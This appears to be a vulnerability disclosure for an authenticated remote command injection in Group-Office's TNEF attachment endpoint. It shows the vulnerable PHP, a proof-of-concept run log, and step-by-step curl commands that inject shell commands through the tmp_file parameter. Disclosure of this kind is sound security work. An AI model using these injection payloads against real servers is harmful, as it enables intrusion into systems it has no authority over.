numberoreo1/cve-2026-25512RCE - Command Injection via TNEF Attachment Handler
CVSS 4.0 Vector :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
A Critical Remote Code Execution (RCE) vulnerability was identified in Group-Office. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
| Product | Affected Versions |
|---|---|
| Group-Office | ≤ 26.0.4 |
The tmp_file parameter is taken from the HTTP request and used to build a shell command without escaping or validation. This results in command injection into the tnef extraction command, which runs under the web server's privileges.
Vulnerable Code (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| Stage | Description |
|---|---|
| Source | tmp_file query parameter in index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... |
| Propagation | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| Sink | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
Because tmp_file is concatenated into the shell command, metacharacters such as ;, &, backticks, or $() allow an attacker to append arbitrary commands.
Authentication Requirement: Yes.
MessageControllerenforces asecurity_tokenCSRF check, so a valid session + token are required.
The PoC script logs in, retrieves the security_token, injects a payload through tmp_file, and verifies execution by reading rce.txt from the ZIP response.
python3 poc.py
Example Output:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 1: Login
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
Response:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
Step 2: Trigger RCE
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
Result:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Category | Severity | Description |
|---|---|---|
| Confidentiality | High | Arbitrary command execution allows reading sensitive files. |
| Integrity | High | Attacker can modify or delete server files. |
| Availability | High | Attacker can disrupt services or delete critical data. |